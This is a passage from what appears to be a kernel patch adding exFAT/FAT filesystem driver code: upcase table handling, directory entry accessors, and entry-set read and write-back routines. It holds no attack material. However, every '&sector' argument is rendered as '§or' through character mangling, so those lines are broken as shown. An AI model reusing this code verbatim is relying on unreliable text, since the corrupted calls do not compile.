kmalloc(UTBL_ROW_COUNT * sizeof(u16), GFP_KERNEL); + if (upcase_table[col_index] == NULL) { + ret = FFS_MEMORYERR; + goto error; + } + + for (j = 0; j < UTBL_ROW_COUNT; j++) + upcase_table[col_index][j] = (col_index << LOW_INDEX_BIT) | j; + } + + upcase_table[col_index][get_row_index(index)] = uni; + index++; + } + } + + if (index >= 0xFFFF) + return FFS_SUCCESS; + +error: + /* FATAL error: default upcase table has error */ + free_upcase_table(sb); + return ret; +} + +s32 load_upcase_table(struct super_block *sb) +{ + int i; + u32 tbl_clu, tbl_size; + u32 type, sector, num_sectors; + CHAIN_T clu; + CASE_DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + clu.dir = p_fs->root_dir; + clu.flags = 0x01; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + while (clu.dir != CLUSTER_32(~0)) { + for (i = 0; i < p_fs->dentries_per_clu; i++) { + ep = (CASE_DENTRY_T *) get_entry_in_dir(sb, &clu, i, NULL); + if (!ep) + return FFS_MEDIAERR; + + type = p_fs->fs_func->get_entry_type((DENTRY_T *) ep); + + if (type == TYPE_UNUSED) + break; + if (type != TYPE_UPCASE) + continue; + + tbl_clu = GET32_A(ep->start_clu); + tbl_size = (u32) GET64_A(ep->size); + + sector = START_SECTOR(tbl_clu); + num_sectors = ((tbl_size-1) >> p_bd->sector_size_bits) + 1; + if (__load_upcase_table(sb, sector, num_sectors, GET32_A(ep->checksum)) != FFS_SUCCESS) + break; + else + return FFS_SUCCESS; + } + if (FAT_read(sb, clu.dir, &(clu.dir)) != 0) + return FFS_MEDIAERR; + } + /* load default upcase table */ + return __load_default_upcase_table(sb); +} /* end of load_upcase_table */ + +void free_upcase_table(struct super_block *sb) +{ + u32 i; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + u16 **upcase_table; + + upcase_table = p_fs->vol_utbl; + for (i = 0; i < UTBL_COL_COUNT; i++) { + if (upcase_table[i]) + kfree(upcase_table[i]); + } + + if (p_fs->vol_utbl) + kfree(p_fs->vol_utbl); + p_fs->vol_utbl = NULL; +} /* end of free_upcase_table */ + +/* + * Directory Entry Management Functions + */ + +u32 fat_get_entry_type(DENTRY_T *p_entry) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + + if (*(ep->name) == 0x0) + return TYPE_UNUSED; + + else if (*(ep->name) == 0xE5) + return TYPE_DELETED; + + else if (ep->attr == ATTR_EXTEND) + return TYPE_EXTEND; + + else if ((ep->attr & (ATTR_SUBDIR|ATTR_VOLUME)) == ATTR_VOLUME) + return TYPE_VOLUME; + + else if ((ep->attr & (ATTR_SUBDIR|ATTR_VOLUME)) == ATTR_SUBDIR) + return TYPE_DIR; + + return TYPE_FILE; +} /* end of fat_get_entry_type */ + +u32 exfat_get_entry_type(DENTRY_T *p_entry) +{ + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + + if (ep->type == 0x0) { + return TYPE_UNUSED; + } else if (ep->type < 0x80) { + return TYPE_DELETED; + } else if (ep->type == 0x80) { + return TYPE_INVALID; + } else if (ep->type < 0xA0) { + if (ep->type == 0x81) { + return TYPE_BITMAP; + } else if (ep->type == 0x82) { + return TYPE_UPCASE; + } else if (ep->type == 0x83) { + return TYPE_VOLUME; + } else if (ep->type == 0x85) { + if (GET16_A(ep->attr) & ATTR_SUBDIR) + return TYPE_DIR; + else + return TYPE_FILE; + } + return TYPE_CRITICAL_PRI; + } else if (ep->type < 0xC0) { + if (ep->type == 0xA0) + return TYPE_GUID; + else if (ep->type == 0xA1) + return TYPE_PADDING; + else if (ep->type == 0xA2) + return TYPE_ACLTAB; + return TYPE_BENIGN_PRI; + } else if (ep->type < 0xE0) { + if (ep->type == 0xC0) + return TYPE_STREAM; + else if (ep->type == 0xC1) + return TYPE_EXTEND; + else if (ep->type == 0xC2) + return TYPE_ACL; + return TYPE_CRITICAL_SEC; + } + + return TYPE_BENIGN_SEC; +} /* end of exfat_get_entry_type */ + +void fat_set_entry_type(DENTRY_T *p_entry, u32 type) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + + if (type == TYPE_UNUSED) + *(ep->name) = 0x0; + + else if (type == TYPE_DELETED) + *(ep->name) = 0xE5; + + else if (type == TYPE_EXTEND) + ep->attr = ATTR_EXTEND; + + else if (type == TYPE_DIR) + ep->attr = ATTR_SUBDIR; + + else if (type == TYPE_FILE) + ep->attr = ATTR_ARCHIVE; + + else if (type == TYPE_SYMLINK) + ep->attr = ATTR_ARCHIVE | ATTR_SYMLINK; +} /* end of fat_set_entry_type */ + +void exfat_set_entry_type(DENTRY_T *p_entry, u32 type) +{ + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + + if (type == TYPE_UNUSED) { + ep->type = 0x0; + } else if (type == TYPE_DELETED) { + ep->type &= ~0x80; + } else if (type == TYPE_STREAM) { + ep->type = 0xC0; + } else if (type == TYPE_EXTEND) { + ep->type = 0xC1; + } else if (type == TYPE_BITMAP) { + ep->type = 0x81; + } else if (type == TYPE_UPCASE) { + ep->type = 0x82; + } else if (type == TYPE_VOLUME) { + ep->type = 0x83; + } else if (type == TYPE_DIR) { + ep->type = 0x85; + SET16_A(ep->attr, ATTR_SUBDIR); + } else if (type == TYPE_FILE) { + ep->type = 0x85; + SET16_A(ep->attr, ATTR_ARCHIVE); + } else if (type == TYPE_SYMLINK) { + ep->type = 0x85; + SET16_A(ep->attr, ATTR_ARCHIVE | ATTR_SYMLINK); + } +} /* end of exfat_set_entry_type */ + +u32 fat_get_entry_attr(DENTRY_T *p_entry) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + return (u32) ep->attr; +} /* end of fat_get_entry_attr */ + +u32 exfat_get_entry_attr(DENTRY_T *p_entry) +{ + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + return (u32) GET16_A(ep->attr); +} /* end of exfat_get_entry_attr */ + +void fat_set_entry_attr(DENTRY_T *p_entry, u32 attr) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + ep->attr = (u8) attr; +} /* end of fat_set_entry_attr */ + +void exfat_set_entry_attr(DENTRY_T *p_entry, u32 attr) +{ + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + SET16_A(ep->attr, (u16) attr); +} /* end of exfat_set_entry_attr */ + +u8 fat_get_entry_flag(DENTRY_T *p_entry) +{ + return 0x01; +} /* end of fat_get_entry_flag */ + +u8 exfat_get_entry_flag(DENTRY_T *p_entry) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + return ep->flags; +} /* end of exfat_get_entry_flag */ + +void fat_set_entry_flag(DENTRY_T *p_entry, u8 flags) +{ +} /* end of fat_set_entry_flag */ + +void exfat_set_entry_flag(DENTRY_T *p_entry, u8 flags) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + ep->flags = flags; +} /* end of exfat_set_entry_flag */ + +u32 fat_get_entry_clu0(DENTRY_T *p_entry) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + return ((u32) GET16_A(ep->start_clu_hi) << 16) | GET16_A(ep->start_clu_lo); +} /* end of fat_get_entry_clu0 */ + +u32 exfat_get_entry_clu0(DENTRY_T *p_entry) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + return GET32_A(ep->start_clu); +} /* end of exfat_get_entry_clu0 */ + +void fat_set_entry_clu0(DENTRY_T *p_entry, u32 start_clu) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + SET16_A(ep->start_clu_lo, CLUSTER_16(start_clu)); + SET16_A(ep->start_clu_hi, CLUSTER_16(start_clu >> 16)); +} /* end of fat_set_entry_clu0 */ + +void exfat_set_entry_clu0(DENTRY_T *p_entry, u32 start_clu) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + SET32_A(ep->start_clu, start_clu); +} /* end of exfat_set_entry_clu0 */ + +u64 fat_get_entry_size(DENTRY_T *p_entry) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + return (u64) GET32_A(ep->size); +} /* end of fat_get_entry_size */ + +u64 exfat_get_entry_size(DENTRY_T *p_entry) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + return GET64_A(ep->valid_size); +} /* end of exfat_get_entry_size */ + +void fat_set_entry_size(DENTRY_T *p_entry, u64 size) +{ + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + SET32_A(ep->size, (u32) size); +} /* end of fat_set_entry_size */ + +void exfat_set_entry_size(DENTRY_T *p_entry, u64 size) +{ + STRM_DENTRY_T *ep = (STRM_DENTRY_T *) p_entry; + SET64_A(ep->valid_size, size); + SET64_A(ep->size, size); +} /* end of exfat_set_entry_size */ + +void fat_get_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode) +{ + u16 t = 0x00, d = 0x21; + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + + switch (mode) { + case TM_CREATE: + t = GET16_A(ep->create_time); + d = GET16_A(ep->create_date); + break; + case TM_MODIFY: + t = GET16_A(ep->modify_time); + d = GET16_A(ep->modify_date); + break; + } + + tp->sec = (t & 0x001F) << 1; + tp->min = (t >> 5) & 0x003F; + tp->hour = (t >> 11); + tp->day = (d & 0x001F); + tp->mon = (d >> 5) & 0x000F; + tp->year = (d >> 9); +} /* end of fat_get_entry_time */ + +void exfat_get_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode) +{ + u16 t = 0x00, d = 0x21; + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + + switch (mode) { + case TM_CREATE: + t = GET16_A(ep->create_time); + d = GET16_A(ep->create_date); + break; + case TM_MODIFY: + t = GET16_A(ep->modify_time); + d = GET16_A(ep->modify_date); + break; + case TM_ACCESS: + t = GET16_A(ep->access_time); + d = GET16_A(ep->access_date); + break; + } + + tp->sec = (t & 0x001F) << 1; + tp->min = (t >> 5) & 0x003F; + tp->hour = (t >> 11); + tp->day = (d & 0x001F); + tp->mon = (d >> 5) & 0x000F; + tp->year = (d >> 9); +} /* end of exfat_get_entry_time */ + +void fat_set_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode) +{ + u16 t, d; + DOS_DENTRY_T *ep = (DOS_DENTRY_T *) p_entry; + + t = (tp->hour << 11) | (tp->min << 5) | (tp->sec >> 1); + d = (tp->year << 9) | (tp->mon << 5) | tp->day; + + switch (mode) { + case TM_CREATE: + SET16_A(ep->create_time, t); + SET16_A(ep->create_date, d); + break; + case TM_MODIFY: + SET16_A(ep->modify_time, t); + SET16_A(ep->modify_date, d); + break; + } +} /* end of fat_set_entry_time */ + +void exfat_set_entry_time(DENTRY_T *p_entry, TIMESTAMP_T *tp, u8 mode) +{ + u16 t, d; + FILE_DENTRY_T *ep = (FILE_DENTRY_T *) p_entry; + + t = (tp->hour << 11) | (tp->min << 5) | (tp->sec >> 1); + d = (tp->year << 9) | (tp->mon << 5) | tp->day; + + switch (mode) { + case TM_CREATE: + SET16_A(ep->create_time, t); + SET16_A(ep->create_date, d); + break; + case TM_MODIFY: + SET16_A(ep->modify_time, t); + SET16_A(ep->modify_date, d); + break; + case TM_ACCESS: + SET16_A(ep->access_time, t); + SET16_A(ep->access_date, d); + break; + } +} /* end of exfat_set_entry_time */ + +s32 fat_init_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, + u32 start_clu, u64 size) +{ + u32 sector; + DOS_DENTRY_T *dos_ep; + + dos_ep = (DOS_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, §or); + if (!dos_ep) + return FFS_MEDIAERR; + + init_dos_entry(dos_ep, type, start_clu); + buf_modify(sb, sector); + + return FFS_SUCCESS; +} /* end of fat_init_dir_entry */ + +s32 exfat_init_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, + u32 start_clu, u64 size) +{ + u32 sector; + u8 flags; + FILE_DENTRY_T *file_ep; + STRM_DENTRY_T *strm_ep; + + flags = (type == TYPE_FILE) ? 0x01 : 0x03; + + /* we cannot use get_entry_set_in_dir here because file ep is not initialized yet */ + file_ep = (FILE_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, §or); + if (!file_ep) + return FFS_MEDIAERR; + + strm_ep = (STRM_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry+1, §or); + if (!strm_ep) + return FFS_MEDIAERR; + + init_file_entry(file_ep, type); + buf_modify(sb, sector); + + init_strm_entry(strm_ep, flags, start_clu, size); + buf_modify(sb, sector); + + return FFS_SUCCESS; +} /* end of exfat_init_dir_entry */ + +s32 fat_init_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 num_entries, + UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname) +{ + int i; + u32 sector; + u8 chksum; + u16 *uniname = p_uniname->name; + DOS_DENTRY_T *dos_ep; + EXT_DENTRY_T *ext_ep; + + dos_ep = (DOS_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, §or); + if (!dos_ep) + return FFS_MEDIAERR; + + dos_ep->lcase = p_dosname->name_case; + memcpy(dos_ep->name, p_dosname->name, DOS_NAME_LENGTH); + buf_modify(sb, sector); + + if ((--num_entries) > 0) { + chksum = calc_checksum_1byte((void *) dos_ep->name, DOS_NAME_LENGTH, 0); + + for (i = 1; i < num_entries; i++) { + ext_ep = (EXT_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry-i, §or); + if (!ext_ep) + return FFS_MEDIAERR; + + init_ext_entry(ext_ep, i, chksum, uniname); + buf_modify(sb, sector); + uniname += 13; + } + + ext_ep = (EXT_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry-i, §or); + if (!ext_ep) + return FFS_MEDIAERR; + + init_ext_entry(ext_ep, i+0x40, chksum, uniname); + buf_modify(sb, sector); + } + + return FFS_SUCCESS; +} /* end of fat_init_ext_entry */ + +s32 exfat_init_ext_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 num_entries, + UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname) +{ + int i; + u32 sector; + u16 *uniname = p_uniname->name; + FILE_DENTRY_T *file_ep; + STRM_DENTRY_T *strm_ep; + NAME_DENTRY_T *name_ep; + + file_ep = (FILE_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, §or); + if (!file_ep) + return FFS_MEDIAERR; + + file_ep->num_ext = (u8)(num_entries - 1); + buf_modify(sb, sector); + + strm_ep = (STRM_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry+1, §or); + if (!strm_ep) + return FFS_MEDIAERR; + + strm_ep->name_len = p_uniname->name_len; + SET16_A(strm_ep->name_hash, p_uniname->name_hash); + buf_modify(sb, sector); + + for (i = 2; i < num_entries; i++) { + name_ep = (NAME_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry+i, §or); + if (!name_ep) + return FFS_MEDIAERR; + + init_name_entry(name_ep, uniname); + buf_modify(sb, sector); + uniname += 15; + } + + update_dir_checksum(sb, p_dir, entry); + + return FFS_SUCCESS; +} /* end of exfat_init_ext_entry */ + +void init_dos_entry(DOS_DENTRY_T *ep, u32 type, u32 start_clu) +{ + TIMESTAMP_T tm, *tp; + + fat_set_entry_type((DENTRY_T *) ep, type); + SET16_A(ep->start_clu_lo, CLUSTER_16(start_clu)); + SET16_A(ep->start_clu_hi, CLUSTER_16(start_clu >> 16)); + SET32_A(ep->size, 0); + + tp = tm_current(&tm); + fat_set_entry_time((DENTRY_T *) ep, tp, TM_CREATE); + fat_set_entry_time((DENTRY_T *) ep, tp, TM_MODIFY); + SET16_A(ep->access_date, 0); + ep->create_time_ms = 0; +} /* end of init_dos_entry */ + +void init_ext_entry(EXT_DENTRY_T *ep, s32 order, u8 chksum, u16 *uniname) +{ + int i; + u8 end = FALSE; + + fat_set_entry_type((DENTRY_T *) ep, TYPE_EXTEND); + ep->order = (u8) order; + ep->sysid = 0; + ep->checksum = chksum; + SET16_A(ep->start_clu, 0); + + for (i = 0; i < 10; i += 2) { + if (!end) { + SET16(ep->unicode_0_4+i, *uniname); + if (*uniname == 0x0) + end = TRUE; + else + uniname++; + } else { + SET16(ep->unicode_0_4+i, 0xFFFF); + } + } + + for (i = 0; i < 12; i += 2) { + if (!end) { + SET16_A(ep->unicode_5_10+i, *uniname); + if (*uniname == 0x0) + end = TRUE; + else + uniname++; + } else { + SET16_A(ep->unicode_5_10+i, 0xFFFF); + } + } + + for (i = 0; i < 4; i += 2) { + if (!end) { + SET16_A(ep->unicode_11_12+i, *uniname); + if (*uniname == 0x0) + end = TRUE; + else + uniname++; + } else { + SET16_A(ep->unicode_11_12+i, 0xFFFF); + } + } +} /* end of init_ext_entry */ + +void init_file_entry(FILE_DENTRY_T *ep, u32 type) +{ + TIMESTAMP_T tm, *tp; + + exfat_set_entry_type((DENTRY_T *) ep, type); + + tp = tm_current(&tm); + exfat_set_entry_time((DENTRY_T *) ep, tp, TM_CREATE); + exfat_set_entry_time((DENTRY_T *) ep, tp, TM_MODIFY); + exfat_set_entry_time((DENTRY_T *) ep, tp, TM_ACCESS); + ep->create_time_ms = 0; + ep->modify_time_ms = 0; + ep->access_time_ms = 0; +} /* end of init_file_entry */ + +void init_strm_entry(STRM_DENTRY_T *ep, u8 flags, u32 start_clu, u64 size) +{ + exfat_set_entry_type((DENTRY_T *) ep, TYPE_STREAM); + ep->flags = flags; + SET32_A(ep->start_clu, start_clu); + SET64_A(ep->valid_size, size); + SET64_A(ep->size, size); +} /* end of init_strm_entry */ + +void init_name_entry(NAME_DENTRY_T *ep, u16 *uniname) +{ + int i; + + exfat_set_entry_type((DENTRY_T *) ep, TYPE_EXTEND); + ep->flags = 0x0; + + for (i = 0; i < 30; i++, i++) { + SET16_A(ep->unicode_0_14+i, *uniname); + if (*uniname == 0x0) + break; + uniname++; + } +} /* end of init_name_entry */ + +void fat_delete_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 order, s32 num_entries) +{ + int i; + u32 sector; + DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + for (i = num_entries-1; i >= order; i--) { + ep = get_entry_in_dir(sb, p_dir, entry-i, §or); + if (!ep) + return; + + p_fs->fs_func->set_entry_type(ep, TYPE_DELETED); + buf_modify(sb, sector); + } +} /* end of fat_delete_dir_entry */ + +void exfat_delete_dir_entry(struct super_block *sb, CHAIN_T *p_dir, s32 entry, s32 order, s32 num_entries) +{ + int i; + u32 sector; + DENTRY_T *ep; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + for (i = order; i < num_entries; i++) { + ep = get_entry_in_dir(sb, p_dir, entry+i, §or); + if (!ep) + return; + + p_fs->fs_func->set_entry_type(ep, TYPE_DELETED); + buf_modify(sb, sector); + } +} /* end of exfat_delete_dir_entry */ + +void update_dir_checksum(struct super_block *sb, CHAIN_T *p_dir, s32 entry) +{ + int i, num_entries; + u32 sector; + u16 chksum; + FILE_DENTRY_T *file_ep; + DENTRY_T *ep; + + file_ep = (FILE_DENTRY_T *) get_entry_in_dir(sb, p_dir, entry, §or); + if (!file_ep) + return; + + buf_lock(sb, sector); + + num_entries = (s32) file_ep->num_ext + 1; + chksum = calc_checksum_2byte((void *) file_ep, DENTRY_SIZE, 0, CS_DIR_ENTRY); + + for (i = 1; i < num_entries; i++) { + ep = get_entry_in_dir(sb, p_dir, entry+i, NULL); + if (!ep) { + buf_unlock(sb, sector); + return; + } + + chksum = calc_checksum_2byte((void *) ep, DENTRY_SIZE, chksum, CS_DEFAULT); + } + + SET16_A(file_ep->checksum, chksum); + buf_modify(sb, sector); + buf_unlock(sb, sector); +} /* end of update_dir_checksum */ + +void update_dir_checksum_with_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es) +{ + DENTRY_T *ep; + u16 chksum = 0; + s32 chksum_type = CS_DIR_ENTRY, i; + + ep = (DENTRY_T *)&(es->__buf); + for (i = 0; i < es->num_entries; i++) { + DPRINTK("update_dir_checksum_with_entry_set ep %p\n", ep); + chksum = calc_checksum_2byte((void *) ep, DENTRY_SIZE, chksum, chksum_type); + ep++; + chksum_type = CS_DEFAULT; + } + + ep = (DENTRY_T *)&(es->__buf); + SET16_A(((FILE_DENTRY_T *)ep)->checksum, chksum); + write_whole_entry_set(sb, es); +} + +static s32 _walk_fat_chain(struct super_block *sb, CHAIN_T *p_dir, s32 byte_offset, u32 *clu) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + s32 clu_offset; + u32 cur_clu; + + clu_offset = byte_offset >> p_fs->cluster_size_bits; + cur_clu = p_dir->dir; + + if (p_dir->flags == 0x03) { + cur_clu += clu_offset; + } else { + while (clu_offset > 0) { + if (FAT_read(sb, cur_clu, &cur_clu) == -1) + return FFS_MEDIAERR; + clu_offset--; + } + } + + if (clu) + *clu = cur_clu; + return FFS_SUCCESS; +} +s32 find_location(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 *sector, s32 *offset) +{ + s32 off, ret; + u32 clu = 0; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + off = entry << DENTRY_SIZE_BITS; + + if (p_dir->dir == CLUSTER_32(0)) { /* FAT16 root_dir */ + *offset = off & p_bd->sector_size_mask; + *sector = off >> p_bd->sector_size_bits; + *sector += p_fs->root_start_sector; + } else { + ret = _walk_fat_chain(sb, p_dir, off, &clu); + if (ret != FFS_SUCCESS) + return ret; + + off &= p_fs->cluster_size - 1; /* byte offset in cluster */ + + *offset = off & p_bd->sector_size_mask; /* byte offset in sector */ + *sector = off >> p_bd->sector_size_bits; /* sector offset in cluster */ + *sector += START_SECTOR(clu); + } + return FFS_SUCCESS; +} /* end of find_location */ + +DENTRY_T *get_entry_with_sector(struct super_block *sb, u32 sector, s32 offset) +{ + u8 *buf; + + buf = buf_getblk(sb, sector); + + if (buf == NULL) + return NULL; + + return (DENTRY_T *)(buf + offset); +} /* end of get_entry_with_sector */ + +DENTRY_T *get_entry_in_dir(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 *sector) +{ + s32 off; + u32 sec; + u8 *buf; + + if (find_location(sb, p_dir, entry, &sec, &off) != FFS_SUCCESS) + return NULL; + + buf = buf_getblk(sb, sec); + + if (buf == NULL) + return NULL; + + if (sector != NULL) + *sector = sec; + return (DENTRY_T *)(buf + off); +} /* end of get_entry_in_dir */ + + +/* returns a set of dentries for a file or dir. + * Note that this is a copy (dump) of dentries so that user should call write_entry_set() + * to apply changes made in this entry set to the real device. + * in: + * sb+p_dir+entry: indicates a file/dir + * type: specifies how many dentries should be included. + * out: + * file_ep: will point the first dentry(= file dentry) on success + * return: + * pointer of entry set on success, + * NULL on failure. + */ + +#define ES_MODE_STARTED 0 +#define ES_MODE_GET_FILE_ENTRY 1 +#define ES_MODE_GET_STRM_ENTRY 2 +#define ES_MODE_GET_NAME_ENTRY 3 +#define ES_MODE_GET_CRITICAL_SEC_ENTRY 4 +ENTRY_SET_CACHE_T *get_entry_set_in_dir(struct super_block *sb, CHAIN_T *p_dir, s32 entry, u32 type, DENTRY_T **file_ep) +{ + s32 off, ret, byte_offset; + u32 clu = 0; + u32 sec, entry_type; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + ENTRY_SET_CACHE_T *es = NULL; + DENTRY_T *ep, *pos; + u8 *buf; + u8 num_entries; + s32 mode = ES_MODE_STARTED; + + DPRINTK("get_entry_set_in_dir entered\n"); + DPRINTK("p_dir dir %u flags %x size %d\n", p_dir->dir, p_dir->flags, p_dir->size); + + byte_offset = entry << DENTRY_SIZE_BITS; + ret = _walk_fat_chain(sb, p_dir, byte_offset, &clu); + if (ret != FFS_SUCCESS) + return NULL; + + + byte_offset &= p_fs->cluster_size - 1; /* byte offset in cluster */ + + off = byte_offset & p_bd->sector_size_mask; /* byte offset in sector */ + sec = byte_offset >> p_bd->sector_size_bits; /* sector offset in cluster */ + sec += START_SECTOR(clu); + + buf = buf_getblk(sb, sec); + if (buf == NULL) + goto err_out; + + + ep = (DENTRY_T *)(buf + off); + entry_type = p_fs->fs_func->get_entry_type(ep); + + if ((entry_type != TYPE_FILE) + && (entry_type != TYPE_DIR)) + goto err_out; + + if (type == ES_ALL_ENTRIES) + num_entries = ((FILE_DENTRY_T *)ep)->num_ext+1; + else + num_entries = type; + + DPRINTK("trying to kmalloc %zx bytes for %d entries\n", offsetof(ENTRY_SET_CACHE_T, __buf) + (num_entries) * sizeof(DENTRY_T), num_entries); + es = kmalloc(offsetof(ENTRY_SET_CACHE_T, __buf) + (num_entries) * sizeof(DENTRY_T), GFP_KERNEL); + if (es == NULL) + goto err_out; + + es->num_entries = num_entries; + es->sector = sec; + es->offset = off; + es->alloc_flag = p_dir->flags; + + pos = (DENTRY_T *) &(es->__buf); + + while(num_entries) { + /* instead of copying whole sector, we will check every entry. + * this will provide minimum stablity and consistancy. + */ + + entry_type = p_fs->fs_func->get_entry_type(ep); + + if ((entry_type == TYPE_UNUSED) || (entry_type == TYPE_DELETED)) + goto err_out; + + switch (mode) { + case ES_MODE_STARTED: + if ((entry_type == TYPE_FILE) || (entry_type == TYPE_DIR)) + mode = ES_MODE_GET_FILE_ENTRY; + else + goto err_out; + break; + case ES_MODE_GET_FILE_ENTRY: + if (entry_type == TYPE_STREAM) + mode = ES_MODE_GET_STRM_ENTRY; + else + goto err_out; + break; + case ES_MODE_GET_STRM_ENTRY: + if (entry_type == TYPE_EXTEND) + mode = ES_MODE_GET_NAME_ENTRY; + else + goto err_out; + break; + case ES_MODE_GET_NAME_ENTRY: + if (entry_type == TYPE_EXTEND) + break; + else if (entry_type == TYPE_STREAM) + goto err_out; + else if (entry_type & TYPE_CRITICAL_SEC) + mode = ES_MODE_GET_CRITICAL_SEC_ENTRY; + else + goto err_out; + break; + case ES_MODE_GET_CRITICAL_SEC_ENTRY: + if ((entry_type == TYPE_EXTEND) || (entry_type == TYPE_STREAM)) + goto err_out; + else if ((entry_type & TYPE_CRITICAL_SEC) != TYPE_CRITICAL_SEC) + goto err_out; + break; + } + + memcpy(pos, ep, sizeof(DENTRY_T)); + + if (--num_entries == 0) + break; + + if (((off + DENTRY_SIZE) & p_bd->sector_size_mask) < (off & p_bd->sector_size_mask)) { + /* get the next sector */ + if (IS_LAST_SECTOR_IN_CLUSTER(sec)) { + if (es->alloc_flag == 0x03) { + clu++; + } else { + if (FAT_read(sb, clu, &clu) == -1) + goto err_out; + } + sec = START_SECTOR(clu); + } else { + sec++; + } + buf = buf_getblk(sb, sec); + if (buf == NULL) + goto err_out; + off = 0; + ep = (DENTRY_T *)(buf); + } else { + ep++; + off += DENTRY_SIZE; + } + pos++; + } + + if (file_ep) + *file_ep = (DENTRY_T *)&(es->__buf); + + DPRINTK("es sec %u offset %d flags %d, num_entries %u buf ptr %p\n", + es->sector, es->offset, es->alloc_flag, es->num_entries, &(es->__buf)); + DPRINTK("get_entry_set_in_dir exited %p\n", es); + return es; +err_out: + DPRINTK("get_entry_set_in_dir exited NULL (es %p)\n", es); + if (es) + kfree(es); + return NULL; +} + +void release_entry_set(ENTRY_SET_CACHE_T *es) +{ + DPRINTK("release_entry_set %p\n", es); + if (es) + kfree(es); +} + + +static s32 __write_partial_entries_in_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es, u32 sec, s32 off, u32 count) +{ + s32 num_entries, buf_off = (off - es->offset); + u32 remaining_byte_in_sector, copy_entries; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + u32 clu; + u8 *buf, *esbuf = (u8 *)&(es->__buf); + + DPRINTK("__write_partial_entries_in_entry_set entered\n"); + DPRINTK("es %p sec %u off %d count %d\n", es, sec, off, count); + num_entries = count; + + while (num_entries) { + /* white per sector base */ + remaining_byte_in_sector = (1 << p_bd->sector_size_bits) - off; + copy_entries = MIN(remaining_byte_in_sector >> DENTRY_SIZE_BITS , num_entries); + buf = buf_getblk(sb, sec); + if (buf == NULL) + goto err_out; + DPRINTK("es->buf %p buf_off %u\n", esbuf, buf_off); + DPRINTK("copying %d entries from %p to sector %u\n", copy_entries, (esbuf + buf_off), sec); + memcpy(buf + off, esbuf + buf_off, copy_entries << DENTRY_SIZE_BITS); + buf_modify(sb, sec); + num_entries -= copy_entries; + + if (num_entries) { + /* get next sector */ + if (IS_LAST_SECTOR_IN_CLUSTER(sec)) { + clu = GET_CLUSTER_FROM_SECTOR(sec); + if (es->alloc_flag == 0x03) { + clu++; + } else { + if (FAT_read(sb, clu, &clu) == -1) + goto err_out; + } + sec = START_SECTOR(clu); + } else { + sec++; + } + off = 0; + buf_off += copy_entries << DENTRY_SIZE_BITS; + } + } + + DPRINTK("__write_partial_entries_in_entry_set exited successfully\n"); + return FFS_SUCCESS; +err_out: + DPRINTK("__write_partial_entries_in_entry_set failed\n"); + return FFS_ERROR; +} + +/* write back all entries in entry set */ +s32 write_whole_entry_set(struct super_block *sb, ENTRY_SET_CACHE_T *es) +{ + return __write_partial_entries_in_entry_set(sb, es, es->sector, es->offset, es->num_entries); +} + +/* write back some entries in entry set */ +s32 write_partial_entries_in_entry_set (struct super_block *sb, ENTRY_SET_CACHE_T *es, DENTRY_T *ep, u32 count) +{ + s32 ret, byte_offset, off; + u32 clu=0, sec; + FS_INFO_T *p_fs = 